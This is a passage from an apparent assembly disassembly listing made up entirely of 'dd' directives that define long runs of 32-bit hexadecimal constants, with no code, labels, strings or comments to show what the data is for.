		dd 73973CC6h, 2A13891Dh, 953996DDh, 0FF2D2AE7h,	0CEC7C99h
		dd 489960BBh, 0E7C0DCB7h, 890D3CFBh, 8A270528h,	4A567C91h
		dd 5D53FFC2h, 5B4C40B9h, 0B594AD07h, 0C712B3F9h, 563C5921h
		dd 0D06B132h, 0A060E786h, 0AA2AE3CDh, 9D937338h, 0B805CA09h
		dd 0EDD0A186h, 6EAC65E6h, 29B848BCh, 65AA245Fh,	71638044h
		dd 3F092670h, 76D5E992h, 0CFDE9BD3h, 40966D1h, 1FAD8780h
		dd 81440275h, 0D21DDBC1h, 4F86FAE0h, 5B623BB1h,	0A0E6757Ah
		dd 1239B44Ch, 9EB8278Eh, 47256DB6h, 55D2113Dh, 0B7D1A220h
		dd 85687298h, 852F39Fh,	8001875Fh, 0D388F4C2h, 52CC6422h
		dd 6527E9F7h, 0FC93686Ch, 800CC220h, 6DE1B3E6h,	840C9FB7h
		dd 0A065D88Bh, 0B213EDC2h, 0F933B81Ah, 0AB070DAFh, 8D20D468h
		dd 2F036A8Fh, 0E8316137h, 3D9ECB05h, 0B0CAECCEh, 72136793h
		dd 4AB12243h, 0D9E40705h, 2F6241A6h, 0DF3216C7h, 2F67DD5Bh
		dd 4105E909h, 93E211Dh,	8A5280F0h, 0D374FCFDh, 0B588F6BEh
		dd 6C568BA3h, 4BC93E48h, 0FF83FD82h, 25188BA7h,	20636F17h
		dd 4739737h, 69016884h,	276BB9CDh, 801DF806h, 0CB884B83h
		dd 0E9DD8359h, 443F5F4Fh, 4CCC3Ch, 1F5568BBh, 691EF47Eh
		dd 31DF5145h, 0BD2A0170h, 0D381238h, 0E0D1A632h, 31CFB0Bh
		dd 820F7E0Eh, 0BF1AD5ACh, 0F70A43B1h, 5D888573h, 975128A9h
		dd 1426F874h, 13681208h, 607E8DADh, 4217C94Bh, 882446Eh
		dd 42034368h, 0E002852Ah, 5D78100Bh, 7A7373C1h,	307D748Bh
		dd 0C679BAB9h, 0D324C0E3h, 0DD01A4EFh, 297C185Fh, 6894E045h
		dd 0FAE90A02h, 1E714640h, 0CAD88850h, 0BCDA340Fh, 0DE52C31Eh
		dd 129AC9DAh, 0FDEFA0D1h, 985B1F13h, 0BFDAAA8h,	20EC165Fh
		dd 68163549h, 0FFE3438Ah, 504442D3h, 0D7FC1FE9h, 0CB4023Bh
		dd 57D7B151h, 1903CB0Ah, 0D86F0691h, 0C8B0A8C1h, 6B5AE3A9h
		dd 7885E004h, 3B61FF16h, 842087B2h, 6C8BC42Bh, 0B38B1E03h
		dd 7CA533E2h, 0F9FB5A31h, 1EC31427h, 665B1294h,	0E973CC0Fh
		dd 754C29A5h, 0EEF4A5CCh, 91F349BDh, 7B80EA05h,	8353368Ah
		dd 4638BB98h, 0E95E730Bh, 50220A3h, 4952768h, 3B830F76h
		dd 0C5C8EAB1h, 75CFAAAFh, 0C1C6C540h, 13884A5Ch, 85005C87h
		dd 4935CF81h, 0C266146h, 0DC8815C0h, 0B318D0Fh,	4A259176h
		dd 0F5F3AE04h, 48905C33h, 314542A8h, 0DF5AC79Ch, 2917F07Bh
		dd 7F3460B1h, 2F672B68h, 0E7E941EBh, 0CCFD7A5Dh, 0BAF9D69Eh
		dd 0D3EB5349h, 0E28D9FD4h, 315FF80Fh, 53125EC1h, 13630490h
		dd 0F9424F23h, 5812751Bh, 4EE6907h, 129D2659h, 21B0D790h
		dd 0F5C1BD72h, 9D442B3Eh, 88019AF7h, 0CE3059EEh, 5CA932FFh
		dd 0C5BE0888h, 2E6C107h, 0D506693Fh, 0B4852603h, 0F031AF90h
		dd 8BF15990h, 537F1CFh,	5BB7F9Fh, 0F92BA85Dh, 36EB02B4h
		dd 5FFB1F67h, 0ABA94FE2h, 5980EC03h, 230533F0h,	3E601202h
		dd 0DCAB810Fh, 0D6C282AEh, 0E05DBD0Eh, 0C1A0E9C9h, 56EAB696h
		dd 923F6968h, 0C827EBBDh, 0EE5C6105h, 688235E2h, 0D1E60209h
		dd 0FA4EDD90h, 0F6AEB884h, 1D961096h, 40DDED77h, 548BF138h
		dd 42F4978h, 2383201Fh,	0B871B94Ah, 0F7E4F9CCh,	2E8A0320h
		dd 3A83E905h, 6B684A17h, 1C8B075Eh, 0E9BE7EFAh,	21A6A600h
		dd 23B02C41h, 2496DB20h, 201F501h, 49293291h, 361E4B54h
		dd 62BD92ADh, 81745C35h, 6468A4C2h, 0A773201Ch,	31B57F05h
		dd 76F4DA01h, 661625E9h, 0C8889259h, 27BD28CBh,	0EFD2D8FAh
		dd 5F0B0571h, 753A0F20h, 714E670Eh, 49388EE2h, 25A2CC55h
		dd 4F850BE9h, 0D833EA59h, 1F1A20FEh, 53ED8105h,	1FAE875h
		dd 0F85A4FA7h, 13927818h, 1FCA4E9h, 9138AA4Eh, 558E2D68h
		dd 0F12533C6h, 0EA70A043h, 9FEB73AFh, 5EC2E4F6h, 5BD97531h
		dd 2D9E043h, 6DAAC597h,	63FC6CB4h, 352EB08h, 0AF71E957h
		dd 78FCEFB4h, 6838E9ACh, 38FF5A21h, 6F985864h, 2A9BB0Bh
		dd 5FE30209h, 0DCC5B185h, 0BECFC46Ah, 4A05B468h, 3B6D2D3Dh
		dd 17AAAE84h, 4F98FB93h, 401C412Fh, 4F2D6BBCh, 0D40B1573h
		dd 84342B0Ch, 92186439h, 44D48212h, 38062666h, 1B0B6828h
		dd 7DFF63DAh, 2E5C9F99h, 0E9B638EAh, 521BF630h,	6052FA29h
		dd 72BA3081h, 0FEA1478Eh, 0EE0744F7h, 5475C3A9h, 0B7668757h
		dd 0CD4F7552h, 0A08165A8h, 3B121173h, 77F0CF90h, 46760214h
		dd 0FF2492E9h, 7B209472h, 5FB2F88Fh, 2DDB981Bh,	10D9025Ah
		dd 53C6903Ah, 512479B3h
		dd 8609B1B5h, 93307B1Fh, 0E27D0421h, 0B835FF72h, 949BE6AEh
		dd 4C2B1021h, 0EF2A202Ch, 0FF7329A5h, 949A97E2h, 0D50C8975h
		dd 0E52FB0F3h, 2ADA2841h, 1C0978C2h, 17847168h,	0D602BC1Fh
		dd 212D19ACh, 681ECEC1h, 0CF285FBFh, 3B7445E5h,	0A8DC75BEh
		dd 13D084E7h, 0EACFE902h, 58C6F5A2h, 427A640h, 5D08A626h
		dd 882F928h, 59788161h,	65BA3BBDh, 7650013Fh, 3A795F22h
		dd 481C28B9h, 0D15D850Dh, 60F7C029h, 175F6902h,	9F2005F0h
		dd 0DC5F91E2h, 249F5432h, 9BB05B7Dh, 9DAD70B0h,	0EA88C4E0h
		dd 395DF2FAh, 40995D19h, 835DA297h, 71FD10A2h, 4392543Dh
		dd 7C28FE3Fh, 61835BABh, 3B3D68B3h, 0C80430FBh,	217DF652h
		dd 0D47882Ah, 0C9977195h, 33F21090h, 0DE09AD13h, 5DEA0912h
		dd 0E8625391h, 27F746D4h, 0A454C109h, 0C1006322h, 7B2B30F2h
		dd 42D0F901h, 33A55A08h, 163B5DE5h, 6E8FBFE9h, 68660860h
		dd 9C9179DFh, 1EFE986h,	3DC20669h, 0C0BA251h, 4FBFED01h
		dd 8806E9F7h, 0DAB6228Eh, 0E889B7E5h, 44A2CF4Fh, 28BE80D4h
		dd 4A94BF56h, 5297D726h, 31F2A1FCh, 584025DFh, 6205F209h
		dd 40477E16h, 5C61F32Dh, 0AD686038h, 9DBEC36h, 1110671h
		dd 402D2169h, 5AD9680Ah, 73D17A4h, 4932011Ah, 0D6F38F0Fh
		dd 0C60D9C3Eh, 5018C216h, 2F2E2DAFh, 416558B0h,	1F186E19h
		dd 287D21F4h, 36F54018h, 0C8260D1h, 44C6C109h, 5E23C4B1h
		dd 6221F366h, 0DA1BAAEEh, 3DFC7E25h, 0A6972EF0h, 0F94B684h
		dd 0A676CE7Ah, 39315FBAh, 4B00ABEBh, 1CEE2DAAh,	88B558B0h
		dd 5C2707AAh, 0FC1571ABh, 42C128C1h, 51272B90h,	36F40C80h
		dd 0FB01544Ch, 3B0783B0h, 45309B7Eh, 141AF5F0h,	0F8394B12h
		dd 440C0C2Bh, 9ED1A93h,	0FAD0773Dh, 7FA324FFh, 0D02D3A8h
		dd 3B5C2A18h, 74893CE1h, 95073511h, 40A62B70h, 54F28CC1h
		dd 0F677906Bh, 0B90A5349h, 0AEF7097Eh, 0E136EF0Fh, 6C68FEFBh
		dd 0B8C0C82Ch, 1F8C0347h, 45B6E917h, 828486EDh,	0CDAE127Dh
		dd 5E3F38C6h, 0EC3940E5h, 0A21D3C13h, 0F4280490h, 2CFA085Ah
		dd 0C71886D3h, 0E908D0F6h, 4419466h, 0FBE0C15Fh, 4D4AEE1h
		dd 3F536350h, 8B1D88E9h, 6ED7870Fh, 31073220h, 25917A1Dh
		dd 17AB7385h, 577CC277h, 25ABAD6h, 0D6B88E2Ah, 8D79932Fh
		dd 6874DDC7h, 32F1C40Ah, 0B1C8B702h, 30F9C9C1h,	2740218Ch
		dd 0DE89EC50h, 17F8C94Fh, 980F69DAh, 64380DCAh,	8AAED61Bh
		dd 0C97B7D14h, 408C66F9h, 622425D8h, 0C7160D5Dh, 0BFE856BBh
		dd 9D0B5206h, 53C5055Fh, 0C02D4F11h, 0E47DBB0Fh, 0B3FD30EDh
		dd 32DD4C13h, 6C2D212h,	2F07FC58h, 3812F868h, 603FD435h
		dd 5DF1F0BEh, 0E9A1D995h, 0F696E87Fh, 90947256h, 0F1ED3560h
		dd 0BCABF0Fh, 9D1DD940h, 52B740C6h, 7658526Ah, 8A04684Ch
		dd 0C375FA57h, 0D0B8620h, 5116E268h, 0BE88523h,	848313CEh
		dd 5F7435Fh, 158B4EB5h,	6A5467D1h, 4186AD9Ch, 1EFB3B37h
		dd 36F749D1h, 0EC2762F2h, 0D6FBEE8Dh, 0C09C16CAh, 7F1768F9h
		dd 1F82C697h, 0E8C03459h, 119D0EC0h, 0E5C054BBh, 0BF272FFh
		dd 0B38B0F0Ch, 35EDFD65h, 9CC2E03h, 9075C65Dh, 95E458Bh
		dd 97E93C70h, 0C9FE4F40h, 5B810F12h, 0E02A24B1h, 1840C7DDh
		dd 26D3728Ah, 17E8B1E4h, 0D177F1C8h, 0C77EE22Ch, 254E2108h
		dd 0F0F90275h, 0E394D57Ch, 0BA9D82Bh, 0C26B742Dh, 4A45589Ah
		dd 0ABCF6F2Eh, 0A7D85B35h, 0DCC9495Ch, 92368D27h, 5A12C2Ah
		dd 0BCA92A21h, 72BB3084h, 49CB9030h, 13EDE2D8h,	0B41F62Ch
		dd 25058202h, 0BF8F640h, 0D2D0D2E9h, 3612B904h,	0C4AA56E5h
		dd 0DB8DBA6Bh, 0AF5B123Eh, 0BA4AE4E6h, 0DD5C98D2h, 5D122153h
		dd 0E93998AFh, 95D5B429h, 83685340h, 50552624h,	88E301B6h
		dd 3F659330h, 0AE4C2B5h, 0FCD05F3Fh, 8EFF05BDh,	12FAABB7h
		dd 6362BE90h, 2FEBD695h, 4096FC54h, 400D3082h, 9D292A2Ah
		dd 0C320BE16h, 7D681623h, 485DF326h, 5C406919h,	0DC969AFh
		dd 1FC86867h, 12FCED80h, 89EB2DC5h, 67F5E4A1h, 0D677FDBAh
		dd 59DEED27h, 18A88B09h, 2576D05h, 384F1CF4h, 4C68B1C0h
		dd 5EAFFB99h, 0DE68008h, 78E94B5Bh, 16852B41h, 1D33E8Bh
		dd 14C7EA8Ch, 61DF7091h, 6F681540h, 745EDB3h, 62CB597Dh
		dd 57280271h, 947EA3E1h, 15993B06h, 158659E1h, 84935192h
		dd 0FB1E2887h, 0AEC72E12h, 7F045331h, 0F2501096h, 2CA6C48Bh
		dd 89BB2D84h, 59D33AC0h, 0BA970222h, 0AC34D37Eh, 0EB72C8FFh
		dd 0DDFD0410h, 0B871E964h, 0AFBD0255h, 603BA76Ch, 2717C70Fh
		dd 817E46BFh, 0D06FC11Eh, 41D25EC7h, 9C1A9524h,	668F4074h
		dd 604F1F56h, 84045A9h,	4FB80050h, 0F7787B55h, 0BA0552D0h
		dd 0ED176FE5h, 0C266B0FBh, 4B4DE925h, 8275B17Ch, 14ACAB51h
		dd 0E9EE257Fh, 77631B40h, 0E3ADD985h, 68811FD9h, 51AB401Bh
		dd 0ED2EAC31h, 0DBA9D717h, 0C8596317h, 302F46C4h, 0DA1455E6h
		dd 11708076h, 0EC75F475h, 0E1285A16h, 94BD96EEh, 48C0D940h
		dd 4C2DEFEFh, 0EE018004h, 0C5C400B3h, 74F91336h, 0A0968A0h
		dd 0C9BB51B7h, 0B1D8CC5Fh, 1B830268h, 85521C4h,	813007C0h
		dd 826F11E9h, 721F595Ch, 5DD68260h, 0D480FD50h,	0C6500BAAh
		dd 2D0BBDD1h, 813E4429h, 971D79FBh, 7F5E57DEh, 0D54FE9E3h
		dd 3A932601h, 0FB3054B6h, 0E18E8269h, 0AEE491E5h, 30B72741h
		dd 83704A49h, 26B29573h, 31E7BD0Eh, 59F3F2C3h, 2C593556h
		dd 7EE55301h, 12BCF550h, 88AA70A5h, 513E5BC7h, 95C2752h
		dd 0C504572Fh, 27AFD2DAh, 7E66095Dh, 4968E2A4h,	0E55FAC8Bh
		dd 0E95F859Ah, 5B72BCC8h, 9658EA9Bh, 5C5F4620h,	7740808Dh
		dd 5F405FD8h, 0FF17843Fh, 5A0BD850h, 0B96A30AAh, 5C5A4F8Fh
		dd 8CC30FFAh, 43F93FABh, 419CE906h, 6BD624D3h, 0FFC8B1Dh
		dd 795EFEB0h, 0E40625B5h, 0ADD9EF81h, 0A0CFD864h, 82979B8Ch
		dd 8B65C5DDh, 0C0A9C2B0h, 689703DCh, 0AA5413FAh, 0E909BFE7h
		dd 0F975E1FDh, 12CCE243h, 5C43A608h, 0EECF140Eh, 0E014D705h
		dd 0CB88A12Eh, 0C31B552Fh, 293E3BE1h, 2C590DE9h, 0B9CDE464h
		dd 52C4D380h, 0EE80D4B6h, 0B151F004h, 90AF3063h, 622CE925h
		dd 12C541CCh, 731B5C28h, 907F8305h, 0FBE2AB20h,	4701EE90h
		dd 0BB1BE841h, 0E90B8549h, 0BFDD3782h, 3B3AB12Ah, 2250EA89h
		dd 4BDA17DFh, 5EE1CA3Ah, 2D7C88A0h, 7B782382h, 21DAF72Eh
		dd 0CF487A03h, 0B67C0972h, 61FCB309h, 99F1C32Fh, 206006E6h
		dd 0B159B51Eh, 5CA02C45h, 9DA0BABBh, 0CB208D5Eh, 122C1AB0h
		dd 3C2BC10h, 4B75D656h,	3B26FC5Eh, 5A88E127h, 0EC3E357Ah
		dd 557B0BEAh, 60C2F72Dh, 995A0804h, 2DEB2B5Fh, 8A612BFBh
		dd 982A9F60h, 8D41D154h, 0A470FC2Fh, 41646688h,	29FA2B54h
		dd 25F3E4DBh, 1D14797h,	3272C8EFh, 0D62CB451h, 77FC0852h
		dd 6B06182Eh, 2F44175h,	0BA89C53Ah, 6D9C6AA2h, 29E7B080h
		dd 7F4B623Bh, 0B393EDC4h, 3507D42Eh, 60B60391h,	3E5316D1h
		dd 0B91547E2h, 0D7CE80FEh, 0C821BBD6h, 0E93E609Eh, 0C6D29EE1h
		dd 0ECBB77E0h, 1EAF2659h, 7ABD0464h, 680B812Ah,	4FBF2A11h
		dd 4204875Eh, 531FF25h,	1CD143D5h, 290D292Fh, 0B3FD4B77h
		dd 0E6945328h, 75B82473h, 3164024Dh, 0F8622372h, 0FE26BC50h
		dd 5F276789h, 0B2191BA3h, 32BE8209h, 8BD18B1Eh,	3AE0D799h
		dd 121721EBh, 0A5AD13ECh, 287B0841h, 0E92F5510h, 341E409Ah
		dd 44886ECEh, 2B89CC0Fh
		dd 0E5D0E722h, 0A97F6562h, 8FC87D4Fh, 0EAF38498h, 558B121Ah
		dd 0EB2EC54Dh, 24EC6064h, 0AD78E84Bh, 0E69C8D7Fh, 68105222h
		dd 16180C12h, 4BA60BFh,	85FCCCD8h, 90D5BB86h, 7EDFC9BEh
		dd 22AFBF3Dh, 73F5C062h, 64D76993h, 35DC2585h, 40162B18h
		dd 50F590AAh, 0B2F3F04Fh, 51F52021h, 0CB09591Ch, 6DAF97FCh
		dd 385391DCh, 0DC177EB3h, 0FF8F095Bh, 0E9126B96h, 0A5373D1Eh
		dd 0FA365582h, 8BA84950h, 0BA33C44Fh, 257D58EDh, 0D75E28C0h
		dd 0CA389162h, 2F9ED43Eh, 41B612D5h, 54E90B8Ch,	4E80B07Fh
		dd 37A1D14Bh, 0EBAA2FECh, 0E91B057Eh, 3144AED0h, 7CD81B41h
		dd 0CC78581Ah, 796B2B80h, 4A09B814h, 40F182DAh,	60EAE948h
		dd 0EBA2664h, 611D397Fh, 5D80CA81h, 0E2C15BB9h,	0EAE49803h
		dd 7A802C56h, 0FBE906D6h, 5348F339h, 927D2FEBh,	0C926F439h
		dd 520D99FDh, 0BC5B803Ah, 29066176h, 0D0B7E945h, 902C244Ah
		dd 56680555h, 0AB642536h, 0AB2A5FA1h, 4A11262Ch, 17F3A30Fh
		dd 93F74461h, 9B9212Eh,	0FCE84B3Bh, 0D700E62Fh,	6D86BE49h
		dd 929C90Bh, 623AE9CEh,	0EE3C3155h, 0B9F0006Ah,	8156495h
		dd 62E57897h, 0CE010F92h, 255BEC5Dh, 6D9EE29h, 0E502090h
		dd 0DB676973h, 7F3C1D5Ch, 0B3507126h, 59D1C782h, 6F294096h
		dd 50C69748h, 0DB54512Fh, 7B16BDEDh, 0EC861831h, 0AF386D69h
		dd 63BBE25h, 1053EC2h, 7DD9E93h, 0D2B22D48h, 45F3A85h
		dd 0E2BE4F28h, 88466051h, 69873Bh, 0A578F0Dh, 39E0256Dh
		dd 5084A00h, 54FC49FBh,	0FC9049E9h, 168E5450h, 96BB61Eh
		dd 7F5208DBh, 45B99102h, 0C2F30107h, 2DBCD66Ah,	5EAE99FDh
		dd 0D1EDB43Bh, 88ECAD41h, 91236B04h, 8C39A02h, 0B6AB5F04h
		dd 4D4C7E2Ch, 0DEAA4E77h, 0F0681742h, 0A586AEBDh, 0C27A790Fh
		dd 5502FD82h, 7BDD0DEBh, 19E5ACA5h, 3D29186Bh, 0C85D2F9Ch
		dd 1649E232h, 978423Eh,	0DDFBF19h, 3F33AC02h, 1E44E183h
		dd 0A4407B9Ah, 840CBB53h, 0C03B3960h, 58A5093Dh, 358CE922h
		dd 3809C733h, 0D71B4543h, 4CD95030h, 67EE8080h,	600106B0h
		dd 0F128F9C6h, 0E9C05A0Fh, 7FE1E508h, 9143A404h, 5F536D98h
		dd 0ADF5EC54h, 2F07292Fh, 5B2D5988h, 0D802302Fh, 411AD626h
		dd 4104D3F7h, 0CC6B7772h, 5540F8A8h, 0EB584E54h, 9F25D569h
		dd 0DDAFD92Bh, 0F6F7033Eh, 8D0F0B04h, 0A31015F6h, 139588AAh
		dd 28C8CD34h, 0FCE841B2h, 9A975AD1h, 76B4626Ah,	80D80CA9h
		dd 0CB4E3067h, 0B845DF2h, 6FB177Bh, 25D8A5DCh, 0D5BDEB4Fh
		dd 0A6D1AF4Eh, 0F58B6B86h, 9EFF50E7h, 99E9166Ch, 2028AA1Dh
		dd 0A809D96h, 0C14EA62Dh, 0C0507425h, 4B319950h, 3AE1E828h
		dd 54EA8953h, 433ADD01h, 0C25BC5D5h, 745D48F7h,	59D5C9E1h
		dd 0C658C90h, 0C9096822h, 0DF17286Ch, 3A5DE912h, 0C997807Dh
		dd 0B01FF568h, 0EA5453B5h, 3F33F5D3h, 0E9E0CFA9h, 0E7970C26h
		dd 45B32523h, 9318F6BBh, 0B885DEBh, 54C7C77h, 2AE9DA01h
		dd 0ED8EAED8h, 0BBE90763h, 0A9E0434Ah, 7567D78h, 46F4B90Ah
		dd 0D9318035h, 0F19D295Bh, 108C8318h, 0EFC572B6h, 4C2FE7A4h
		dd 13D32520h, 0BEC791D4h, 7BFA064Dh, 541DFEB3h,	3B107E2Bh
		dd 0C5270B54h, 51E9A248h, 0A15A269Fh, 0C353A04Bh, 0EA38B5D5h
		dd 442C13BEh, 371DA680h, 0F7312E60h, 0D5C27CEh,	13D3BB60h
		dd 0FBB34BECh, 0E7AEDE95h, 0DFBC97E5h, 2281392Dh, 0CACA8852h
		dd 0DFC41CE8h, 0C2595A94h, 3DBADD50h, 1C74487Fh, 0BB94D217h
		dd 0BCABA564h, 368EB426h, 309DE924h, 0B661C21Fh, 8695CA28h
		dd 7D444D4Fh, 8AFEA663h, 586279Dh, 51EDB9DDh, 388BE90Bh
		dd 3F89E775h, 9CF3D592h, 17948952h, 830ADD0Ah, 56BC6881h
		dd 12EC4DF1h, 64719675h, 8BE2AB55h, 2F2C6882h, 0C82BC79h
		dd 4076AF32h, 1D7DA3CEh, 0CC0F5847h, 0CFED5716h, 0B71BC509h
		dd 64748354h, 0E79B031Eh, 2C4B5605h, 96D480E0h,	856B0CA8h
		dd 98FC6462h, 0EDE90238h, 0F6A54A55h, 335400F9h, 0E3D10669h
		dd 0C8B70F02h, 797C2468h, 0ED679AAAh, 220B6960h, 28504A2Fh
		dd 0FA12C859h, 38427542h, 60DFD151h, 69F943D0h,	3247E918h
		dd 1C2CB72Eh, 84FC8850h, 0A25B58E5h, 25B680ADh,	0B59ACE80h
		dd 5B30F50Fh, 0A85444FBh, 9B8B92E9h, 0AF939FD0h, 51EF8002h
		dd 2CE7F75Ah, 4F904B0Dh, 0F97BA4FDh, 61722DB4h,	0CA6DA75Eh
		dd 728AEE4Ah, 0EB7E524Ah, 0F61CA8CEh, 0EDDD2508h, 0A5DDA7BCh
		dd 0A2C157EAh, 0CE2E6F9Ch, 10B44E1Ah, 447E16A6h, 0CB960006h
		dd 11955B4Ch, 0C609E3FAh, 270075Fh, 0B9AF27Fh, 550EB05Fh
		dd 0B9E382A7h, 4CEFE98h, 4B5F0197h, 377833E9h, 0E3125F3Bh
		dd 0F73B4006h, 74D60EACh, 45EF8713h, 408CE0F0h,	14F66ADh
		dd 3C232FECh, 53C81AB1h, 7836BBF8h, 568EC009h, 0B261E96Ch
		dd 59945F95h, 3FD259B0h, 249318EFh, 77D63BBh, 18A50A58h
		dd 0E6DBFCBEh, 907BFA53h, 9C8A346Fh, 0FDD980BDh, 0BA983A69h
		dd 69D25F7Ch, 0F212AB1Eh, 8EBBA284h, 0F03C2FCEh, 5759AA57h
		dd 0F4549C76h, 720A8EBh, 0B4C97D3h, 12C3C0EEh, 8C5FFA01h
		dd 13D936F4h, 0BB221C11h, 0C178F74h, 60E02DBEh,	7F8A0832h
		dd 1790F252h, 0A176570Bh, 0E816830Dh, 0EB254A78h, 0B6081821h
		dd 3FEB8801h, 0D08D4449h, 0B26813B4h, 2B29EA4Eh, 0A420BD2Fh
		dd 5D39F682h, 52006AF3h, 564D20BAh, 40FB984Ah, 0CD1EBDA1h
		dd 18A8F28h, 0D017FEEAh, 6F5B648Ch, 0FBD2B34Fh,	0B92B8CC9h
		dd 4F94A575h, 1927D2AFh, 0FE898CA4h, 57896DF2h,	4128BAF9h
		dd 1C378E0Ah, 93BDE7Bh,	0AF3CC532h, 0F2670085h,	2FE9C302h
		dd 8C7B0C0Ah, 0C85CFECBh, 0D6DCA784h, 1C779D54h, 0B05C5EC9h
		dd 6B4BEF37h, 2A7ABD41h, 0CCED7F3Fh, 0B34CE438h, 0B43E2912h
		dd 27FE2F27h, 7259D8F7h, 5B9E9B99h, 46E0ECB7h, 2DE94443h
		dd 1274191Fh, 0A702214Ah, 0C00F6372h, 9DADE00Eh, 0B66E20D9h
		dd 70C9B7D2h, 220A0B2Ah, 59E0FDF3h, 38CBA244h, 36FE8343h
		dd 4F1BF97Bh, 18C25660h, 5462E33Ch, 3A0117F7h, 0E9FB3126h
		dd 273F359Fh, 0FDCA82D8h, 96A47B67h, 35480100h,	75CB10FDh
		dd 5EEA0F25h, 0C7892078h, 5CB4B2F5h, 0F5CC7A86h, 0C2E1E925h
		dd 9AC5F5E9h, 0E8C1450Bh, 2E1257DAh, 70B05D1h, 226D2A33h
		dd 2BD872E9h, 3D5CB90Fh, 5B071275h, 2B4716D1h, 6089F160h
		dd 0F75B1BCCh, 200404D9h, 0A177239Bh, 0DE211CAAh, 0AAAC8BFDh
		dd 243C84F1h, 0CA40EE87h, 58A37FB6h, 8C20BB3Eh,	0AFAC5F4Fh
		dd 565D2560h, 6238B4BEh, 5DC1DB7Eh, 2478A48Bh, 9F5CE95Eh
		dd 20D44F90h, 0BF704B74h, 86F07DDDh, 0B920B52Dh, 17883E10h
		dd 95895295h, 3516FFF1h, 1A5A8CB0h, 4368FE87h, 0D953E875h
		dd 48561A74h, 0A4082E29h, 4F712409h, 5A046649h,	5CE8BA01h
		dd 5D1A0CD0h, 26405A5Fh, 6D4B5873h, 9D72E2F0h, 0DB480498h
		dd 57C3EDCBh, 0A0D953C3h, 56AA2A3Ch, 0E5FAB1A1h, 0A8F32E57h
		dd 643FF47Ch, 0EAEA3F9Bh, 0FD5FFE92h, 8D2D76EEh, 810E5265h
		dd 0AE2A7AF2h, 0FFA4F557h, 3B43B7h, 4B61B5BEh, 544CE909h
		dd 3951A758h, 0C81DF988h, 89C65F59h, 0FC760D78h, 20CF447Ah
		dd 0B5386F19h, 17194821h, 2CA76AAh, 9939307Ch, 3AE7C6CFh
		dd 193C7C26h, 0C1096D10h, 1BF705E1h, 0AB52F18Ah, 0FD7C9A74h
		dd 2069902Bh, 3D252336h, 7367C21h, 3918C7E7h, 52AD1F83h
		dd 0B0B2BF84h, 0F4EC317Ah, 0C578BA3Ch, 0DAF7F034h, 0A12D1B98h
		dd 645F71D0h, 0AB33D55Bh
		dd 6F505F04h, 0ED5FC345h, 2C9EC4D8h, 12AB9FD4h,	1014F212h
		dd 0D84B96EAh, 5F9FF35Fh, 23C1FAAh, 3235176Ch, 741F0975h
		dd 16E62521h, 27C12124h, 0AF8DF44h, 0BCFAFE2Dh,	64C2F07Dh
		dd 51080168h, 3DB82D3h,	315F106Dh, 246E2F6Fh, 44F1FECCh
		dd 45FACDEFh, 7104C843h, 2A5EF75Ah, 0BD6E70B1h,	30E987EFh
		dd 0F6B35FEBh, 0B0584FD2h, 8BF96EA0h, 6CAE3C4Eh, 2FF95CABh
		dd 20488BECh, 0D79CE818h, 0D4C6B35h, 8D5C7010h,	4E5984FAh
		dd 0B7A20016h, 96CF148h, 7325DA7Dh, 513CF449h, 14017A65h
		dd 6F0CC886h, 5694F247h, 60E4FBBh, 0DBF04F90h, 8BFE1689h
		dd 612DAE3Ch, 0BFD02E8Bh, 4243E190h, 741EA927h,	57409AB1h
		dd 0DC5FAD69h, 13B862C5h, 0E907EE50h, 5151ED25h, 0F1EC9ABAh
		dd 2C927760h, 0F9E43750h, 0FFB4C6FAh, 72685807h, 0CB2576D9h
		dd 0EE5EFFECh, 41A54EC8h, 4E063AE5h, 72E1B15Dh,	0E45ABDFBh
		dd 3B5A5348h, 71B0F94Fh, 5810258h, 2C8D33E4h, 3527F7B8h
		dd 0C497B2DCh, 2A206CBEh, 0DF42704h, 0D59185E9h, 0AD44EBD0h
		dd 0B3BBE7D5h, 0F7668306h, 0E66898E9h, 15B8BD59h, 0FF5F0381h
		dd 0D989642Dh, 28D4A10Eh, 2743C63h, 5EA9C3A3h, 0B9424D9Fh
		dd 80999C2h, 0C908DBDDh, 0CC2DF85Eh, 8C372026h,	2CA7D9F9h
		dd 8BEA4EEDh, 0F6F94B60h, 16E888C9h, 3D4151E9h,	0F951823Fh
		dd 0B704709h, 887ED7DBh, 1EF7CE2h, 30F1E780h, 2FF3E15Fh
		dd 0E9841F61h, 11905308h, 6297DF97h, 28F9AFh, 26D76205h
		dd 0F34F6BE9h, 21C423F8h, 9FCC1302h, 52B702EBh,	0FB295E9Ch
		dd 60761C60h, 0F44A4025h, 42E6403Fh, 5C60383Eh,	9C327590h
		dd 62F6B816h, 28CDF06h,	4E685A01h, 5FCBE33Fh, 4AA8B6B4h
		dd 76988C01h, 953AD095h, 946BDADBh, 6032FCC8h, 36C3294Bh
		dd 0DA5B12C6h, 0B72BB3A0h, 0F1DE94E2h, 9D9D3EE6h, 0DC7A3DFCh
		dd 719689DDh, 0D2CD14F5h, 561D0B1Fh, 44DFDEC2h,	622507D9h
		dd 0A0322E7Ah, 0D69AE2F8h, 52666B9h, 2DBF5917h,	0F14D01FBh
		dd 0F7580201h, 2873B511h, 46680285h, 0C10C751Dh, 0A768AFA4h
		dd 29FE4A9Fh, 7BE962B1h, 41FD71CAh, 0FD2F2200h,	9AB5AC5h
		dd 715F5D7Ah, 0A4CD920Ch, 0BBFDA532h, 1BCAA614h, 0F6EF0539h
		dd 1EEB52D8h, 31AD02Dh,	0E180A0B1h, 73C198ADh, 10D966F6h
		dd 0E9130AB6h, 352859FCh, 0EE494E68h, 0E84F4F8Ch, 134558FEh
		dd 0AB270218h, 731750EEh, 7B1430B9h, 82084132h,	1B775D0Ch
		dd 13F30121h, 0BC496E1Ah, 5812F653h, 164E75E9h,	0A3E17190h
		dd 4427272Bh, 0FE02AA7Ch, 0C071756Eh, 0B7AFE916h, 0C380F602h
		dd 0D3EB22E0h, 10DD2876h, 7EB6524Fh, 0F5BBF312h, 4FF2BA5h
		dd 0BE41890h, 6FEF805Bh, 0F8BE979Bh, 0C4A0B7DEh, 5328FAEFh
		dd 800F160Eh, 2C45B78Fh, 8ABED338h, 5C5D27EBh, 50285809h
		dd 0B3A06DB1h, 0D3475A67h, 545F1308h, 4B05DDFEh, 12D497Ah
		dd 9909EA95h, 0B4736001h, 16D32117h, 20A987BFh,	0F1DC360h
		dd 0A5ED854Ah, 4309BA4Fh, 581CD0C9h, 0F22CFD29h, 28E1E2C5h
		dd 0F58128C5h, 113D15B8h, 0B3223F30h, 3691052Dh, 8E80FF7Bh
		dd 98C64941h, 82CB7E91h, 0BE882F5Ch, 0B1E961EAh, 42316A9Ah
